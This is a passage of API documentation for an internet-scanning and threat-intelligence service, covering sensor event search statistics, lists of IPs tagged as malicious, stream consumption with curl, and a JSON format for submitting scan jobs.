        "hassh_algorithms": "diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,[email protected],aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,[email protected];none"
      }
    },
    "tags": ["SSH_SCANNER"]
  },
  "origin": {
    "ip": "58.242.83.31",
    "type": "sinkhole",
    "ts": 1549625585310,
    "asn": 4837
  }
}

/v1/query/sensors/search/stats

Statistics of events for the given query. Can be used with specific parameters and/or full-text search.

Parameters

  • query: [String] String used to query our data. If no filters are used, it will perform a full-text search on the events. See Search Parameters for details on what parameters can be used.
  • type: [String] Type of statistic we want to obtain. Possible types include:
    • ports, tags, countries, asn, ips, payloads, http_path.
  • days: [Integer] Optional. Number of days to get the stats for. For example, days=1 for the last day of data.
    • Default: days=30
  • order: [String] Optional. Whether to sort descending or ascending.
    • desc, asc
    • Default: order=desc

Output

curl 'https://api.binaryedge.io/v1/query/sensors/search/stats?query=tags:ssh_scanner&type=ports' -H 'X-Token:API_TOKEN'

[
  {
    "key": "22/tcp",
    "doc_count": 1102752
  }, 
  {
    "key": "2222/tcp",
    "doc_count": 8149
  }, 
  {
    "key": "222/tcp",
    "doc_count": 1970
  }, 
  {
    "key": "4000/tcp",
    "doc_count": 1962
  }, 
  {
    "key": "23/tcp",
    "doc_count": 1552
  }
]

/v1/query/sensors/tag/

Get a list of IPs that have been associated with a specific TAG. See List of Tags

Parameters

  • tag: [String] Tag you want to get the list of IPs related to.
    • Example: tag=MALICIOUS
  • days: [Integer] Query Parameter, number of days to get the stats for. For example, days=1 for the last day of data.
    • Default: days=1
    • Max: days=60

Output

curl 'https://api.binaryedge.io/v1/query/sensors/tag/MALICIOUS' -H 'X-Token:API_TOKEN'

["1.34.221.87", "1.160.38.189", "1.160.39.129", "1.160.91.241", "1.160.130.56", "1.160.160.98", "1.161.118.167"]

FAQ

Q: What is the sample parameter?

A: The Sample parameter is used to define how many open ports the platform needs to find before stopping the scan. It is useful to test modules and different configurations for each module (that we are adding in the future). This parameter is optional - by default the scan stops only after scanning the entire list of IP addresses and ports.

Q: How can I consume the stream?

A: The stream outputs to STDOUT, allowing you to consume it in different ways. For example:

  • Direct the stream to a file:
    • curl 'https://stream.api.binaryedge.io/v1/stream' -H 'X-Token:API_TOKEN' > file.txt
  • Pipe the stream to a custom application you developed to process it:
    • curl 'https://stream.api.binaryedge.io/v1/stream' -H 'X-Token:API_TOKEN' | application_name

Q: What should I do if I get a error 500?

A: In this case, you should contact [email protected]

Q: How do I scan multiple hosts with one request?

A:

options: [{
  "targets": ["array of cidrs (string)"],
  "ports": [{
    "port": "int",
    "modules": ["array of module names (string)"],
    "sample": "int"
  }]
}]

Example:

{
  "type": "scan",
  "description": "test a bunch of networks",
  "options": [
    {
      "targets": ["xxx.xxx.x.x/xx","xxx.xxx.x.x/xx"],
      "ports": [{
        "port": 995,
        "modules": ["service"]
      },
      {
        "port": 22,
        "modules": ["ssh"]
      }]
    }, {
      "targets": ["xxx.xxx.x.x/xx"],
      "ports": [{
        "port": 5900,
        "modules": ["vnc"]
      }]
    }
  ]
}